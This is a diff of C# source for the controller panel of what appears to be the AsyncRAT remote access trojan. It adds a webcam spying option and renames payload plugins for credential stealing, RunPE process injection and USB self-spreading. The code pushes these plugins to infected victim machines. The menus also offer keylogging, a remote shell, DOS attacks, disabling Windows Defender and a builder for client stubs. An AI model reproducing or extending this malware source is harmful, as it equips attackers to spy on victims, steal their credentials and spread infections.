this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.botsKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.botsKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uSBSpreadToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.uSBSpreadToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
@ -221,20 +222,20 @@
this.toolStripSeparator1, this.toolStripSeparator1,
this.bUILDERToolStripMenuItem}); this.bUILDERToolStripMenuItem});
this.contextMenuClient.Name = "contextMenuStrip1"; this.contextMenuClient.Name = "contextMenuStrip1";
this.contextMenuClient.Size = new System.Drawing.Size(245, 273); this.contextMenuClient.Size = new System.Drawing.Size(199, 240);
// //
// aBOUTToolStripMenuItem // aBOUTToolStripMenuItem
// //
this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(244, 32); this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Text = "ABOUT";
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
// //
// toolStripSeparator2 // toolStripSeparator2
// //
this.toolStripSeparator2.Name = "toolStripSeparator2"; this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(241, 6); this.toolStripSeparator2.Size = new System.Drawing.Size(195, 6);
// //
// sENDFILEToolStripMenuItem // sENDFILEToolStripMenuItem
// //
@ -243,7 +244,7 @@
this.tODISKToolStripMenuItem}); this.tODISKToolStripMenuItem});
this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(244, 32); this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.sENDFILEToolStripMenuItem.Text = "Send File"; this.sENDFILEToolStripMenuItem.Text = "Send File";
// //
// tOMEMORYToolStripMenuItem // tOMEMORYToolStripMenuItem
@ -268,10 +269,11 @@
this.passwordRecoveryToolStripMenuItem1, this.passwordRecoveryToolStripMenuItem1,
this.fileManagerToolStripMenuItem1, this.fileManagerToolStripMenuItem1,
this.processManagerToolStripMenuItem1, this.processManagerToolStripMenuItem1,
this.reportWindowToolStripMenuItem}); this.reportWindowToolStripMenuItem,
this.webcamToolStripMenuItem});
this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(244, 32); this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.monitoringToolStripMenuItem.Text = "Monitoring"; this.monitoringToolStripMenuItem.Text = "Monitoring";
// //
// remoteDesktopToolStripMenuItem1 // remoteDesktopToolStripMenuItem1
@ -338,6 +340,14 @@
this.stopToolStripMenuItem2.Text = "Stop"; this.stopToolStripMenuItem2.Text = "Stop";
this.stopToolStripMenuItem2.Click += new System.EventHandler(this.StopToolStripMenuItem2_Click); this.stopToolStripMenuItem2.Click += new System.EventHandler(this.StopToolStripMenuItem2_Click);
// //
// webcamToolStripMenuItem
//
this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam;
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.webcamToolStripMenuItem.Text = "Webcam";
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click);
//
// miscellaneousToolStripMenuItem // miscellaneousToolStripMenuItem
// //
this.miscellaneousToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.miscellaneousToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
@ -349,14 +359,14 @@
this.executeNETCodeToolStripMenuItem}); this.executeNETCodeToolStripMenuItem});
this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(244, 32); this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
// //
// botsKillerToolStripMenuItem // botsKillerToolStripMenuItem
// //
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Text = "Bots Killer";
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
// //
@ -364,7 +374,7 @@
// //
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
// //
@ -372,7 +382,7 @@
// //
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
// //
@ -380,7 +390,7 @@
// //
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
// //
@ -388,7 +398,7 @@
// //
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
// //
@ -396,7 +406,7 @@
// //
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
// //
@ -412,7 +422,7 @@
this.disableNetStatToolStripMenuItem}); this.disableNetStatToolStripMenuItem});
this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
this.extraToolStripMenuItem.Size = new System.Drawing.Size(244, 32); this.extraToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.extraToolStripMenuItem.Text = "Extra"; this.extraToolStripMenuItem.Text = "Extra";
// //
// visitWebsiteToolStripMenuItem1 // visitWebsiteToolStripMenuItem1
@ -479,7 +489,7 @@
this.pCToolStripMenuItem}); this.pCToolStripMenuItem});
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
this.systemToolStripMenuItem.Size = new System.Drawing.Size(244, 32); this.systemToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.systemToolStripMenuItem.Text = "System"; this.systemToolStripMenuItem.Text = "System";
// //
// clientToolStripMenuItem // clientToolStripMenuItem
@ -493,46 +503,46 @@
this.showFolderToolStripMenuItem}); this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.clientToolStripMenuItem.Text = "Client"; this.clientToolStripMenuItem.Text = "Client";
// //
// closeToolStripMenuItem1 // closeToolStripMenuItem1
// //
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1"; this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34);
this.closeToolStripMenuItem1.Text = "Close"; this.closeToolStripMenuItem1.Text = "Close";
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click); this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
// //
// restartToolStripMenuItem2 // restartToolStripMenuItem2
// //
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2"; this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
this.restartToolStripMenuItem2.Text = "Restart"; this.restartToolStripMenuItem2.Text = "Restart";
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click); this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
// //
// updateToolStripMenuItem2 // updateToolStripMenuItem2
// //
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2"; this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
this.updateToolStripMenuItem2.Text = "Update"; this.updateToolStripMenuItem2.Text = "Update";
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click); this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
// //
// uninstallToolStripMenuItem // uninstallToolStripMenuItem
// //
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.uninstallToolStripMenuItem.Text = "Uninstall"; this.uninstallToolStripMenuItem.Text = "Uninstall";
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click); this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
// //
// toolStripSeparator3 // toolStripSeparator3
// //
this.toolStripSeparator3.Name = "toolStripSeparator3"; this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6); this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6);
// //
// showFolderToolStripMenuItem // showFolderToolStripMenuItem
// //
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem"; this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.showFolderToolStripMenuItem.Text = "Show Folder"; this.showFolderToolStripMenuItem.Text = "Show Folder";
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click); this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
// //
@ -544,40 +554,40 @@
this.shutdownToolStripMenuItem1}); this.shutdownToolStripMenuItem1});
this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.pCToolStripMenuItem.Text = "PC"; this.pCToolStripMenuItem.Text = "PC";
// //
// logoffToolStripMenuItem1 // logoffToolStripMenuItem1
// //
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1"; this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
this.logoffToolStripMenuItem1.Text = "Logoff"; this.logoffToolStripMenuItem1.Text = "Logoff";
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click); this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
// //
// restartToolStripMenuItem3 // restartToolStripMenuItem3
// //
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3"; this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34); this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34);
this.restartToolStripMenuItem3.Text = "Restart"; this.restartToolStripMenuItem3.Text = "Restart";
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click); this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
// //
// shutdownToolStripMenuItem1 // shutdownToolStripMenuItem1
// //
this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1"; this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
this.shutdownToolStripMenuItem1.Text = "Shutdown"; this.shutdownToolStripMenuItem1.Text = "Shutdown";
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click); this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
// //
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(241, 6); this.toolStripSeparator1.Size = new System.Drawing.Size(195, 6);
// //
// bUILDERToolStripMenuItem // bUILDERToolStripMenuItem
// //
this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(244, 32); this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Text = "BUILDER";
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
// //
@ -994,6 +1004,7 @@
private System.Windows.Forms.ToolStripMenuItem getAdminPrivilegesToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem getAdminPrivilegesToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem disableWindowsDefenderToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem disableWindowsDefenderToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem disableNetStatToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem disableNetStatToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem webcamToolStripMenuItem;
} }
} }

View File

@ -1,7 +1,7 @@
using System; using System;
using System.Windows.Forms; using System.Windows.Forms;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System.Threading.Tasks; using System.Threading.Tasks;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
using System.Linq; using System.Linq;
@ -9,7 +9,7 @@ using System.Threading;
using System.Drawing; using System.Drawing;
using System.IO; using System.IO;
using Server.Forms; using Server.Forms;
using Server.Cryptography; using Server.Algorithm;
using System.Diagnostics; using System.Diagnostics;
using System.Net.Sockets; using System.Net.Sockets;
using Server.Handle_Packet; using Server.Handle_Packet;
@ -47,13 +47,15 @@ namespace Server
{ {
if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"))) if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config")))
{ {
File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); MessageBox.Show("Missing " + Path.GetFileName(Application.ExecutablePath) + ".config");
Process.Start(Application.ExecutablePath);
Environment.Exit(0); Environment.Exit(0);
} }
if (!File.Exists(Path.Combine(Application.StartupPath, "cGeoIp.dll"))) if (!File.Exists(Path.Combine(Application.StartupPath, "cGeoIp.dll")))
{
MessageBox.Show("File 'cGeoIp.dll' Not Found!"); MessageBox.Show("File 'cGeoIp.dll' Not Found!");
Environment.Exit(0);
}
if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub"))) if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub")))
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub")); Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub"));
@ -166,6 +168,7 @@ namespace Server
Clients client = (Clients)itm.Tag; Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
} }
//GC.Collect();
} }
} }
@ -314,7 +317,7 @@ namespace Server
else else
{ {
msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE);
} }
ListViewItem lv = new ListViewItem(); ListViewItem lv = new ListViewItem();
@ -424,7 +427,7 @@ namespace Server
ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack); ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack);
} }
} }
await Task.Delay(15 * 1000); await Task.Delay(15 * 1000); //15sec per 1 task
} }
} }
catch { } catch { }
@ -485,7 +488,7 @@ namespace Server
{ {
FormSendFileToMemory formSend = new FormSendFileToMemory(); FormSendFileToMemory formSend = new FormSendFileToMemory();
formSend.ShowDialog(); formSend.ShowDialog();
if (formSend.isOK) if (formSend.IsOK)
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendMemory"; msgpack.ForcePathObject("Packet").AsString = "sendMemory";
@ -498,7 +501,7 @@ namespace Server
else else
{ {
msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE);
// github.com/Artiist/RunPE-Process-Protection // github.com/Artiist/RunPE-Process-Protection
} }
@ -618,10 +621,13 @@ namespace Server
{ {
try try
{ {
//DLL Plugin
//msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
//msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop);
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "capture"; msgpack.ForcePathObject("Option").AsString = "capture";
msgpack.ForcePathObject("Quality").AsInteger = 60; msgpack.ForcePathObject("Quality").AsInteger = 30;
foreach (ListViewItem itm in listView1.SelectedItems) foreach (ListViewItem itm in listView1.SelectedItems)
{ {
Clients client = (Clients)itm.Tag; Clients client = (Clients)itm.Tag;
@ -635,8 +641,8 @@ namespace Server
Name = "RemoteDesktop:" + client.ID, Name = "RemoteDesktop:" + client.ID,
F = this, F = this,
Text = "RemoteDesktop:" + client.ID, Text = "RemoteDesktop:" + client.ID,
C = client, ParentClient = client,
Active = true FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
}; };
remoteDesktop.Show(); remoteDesktop.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
@ -670,7 +676,7 @@ namespace Server
Name = "keyLogger:" + client.ID, Name = "keyLogger:" + client.ID,
Text = "keyLogger:" + client.ID, Text = "keyLogger:" + client.ID,
F = this, F = this,
C = client Client = client
}; };
KL.Show(); KL.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
@ -701,7 +707,7 @@ namespace Server
Name = "chat:" + client.ID, Name = "chat:" + client.ID,
Text = "chat:" + client.ID, Text = "chat:" + client.ID,
F = this, F = this,
C = client Client = client
}; };
shell.Show(); shell.Show();
} }
@ -734,7 +740,8 @@ namespace Server
Name = "fileManager:" + client.ID, Name = "fileManager:" + client.ID,
Text = "fileManager:" + client.ID, Text = "fileManager:" + client.ID,
F = this, F = this,
C = client Client = client,
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
}; };
fileManager.Show(); fileManager.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
@ -754,13 +761,15 @@ namespace Server
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib); msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery);
foreach (ListViewItem itm in listView1.SelectedItems) foreach (ListViewItem itm in listView1.SelectedItems)
{ {
Clients client = (Clients)itm.Tag; Clients client = (Clients)itm.Tag;
client.LV.ForeColor = Color.Red; client.LV.ForeColor = Color.Red;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
} }
new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black);
tabControl1.SelectedIndex = 1;
} }
catch { } catch { }
} }
@ -788,7 +797,7 @@ namespace Server
Name = "processManager:" + client.ID, Name = "processManager:" + client.ID,
Text = "processManager:" + client.ID, Text = "processManager:" + client.ID,
F = this, F = this,
C = client Client = client
}; };
processManager.Show(); processManager.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
@ -813,6 +822,8 @@ namespace Server
Clients client = (Clients)itm.Tag; Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
} }
new HandleLogs().Addmsg("Sending Botkiller..", Color.Black);
tabControl1.SelectedIndex = 1;
} }
catch { } catch { }
} }
@ -826,12 +837,14 @@ namespace Server
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "usbSpread"; msgpack.ForcePathObject("Packet").AsString = "usbSpread";
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.HandleLimeUSB); msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread);
foreach (ListViewItem itm in listView1.SelectedItems) foreach (ListViewItem itm in listView1.SelectedItems)
{ {
Clients client = (Clients)itm.Tag; Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
} }
new HandleLogs().Addmsg("Sending USB Spread..", Color.Black);
tabControl1.SelectedIndex = 1;
} }
catch { } catch { }
} }
@ -1078,7 +1091,7 @@ namespace Server
Name = "shell:" + client.ID, Name = "shell:" + client.ID,
Text = "shell:" + client.ID, Text = "shell:" + client.ID,
F = this, F = this,
C = client Client = client
}; };
shell.Show(); shell.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
@ -1142,7 +1155,7 @@ namespace Server
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib); msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery);
ListViewItem lv = new ListViewItem(); ListViewItem lv = new ListViewItem();
lv.Text = "Recovery Password"; lv.Text = "Recovery Password";
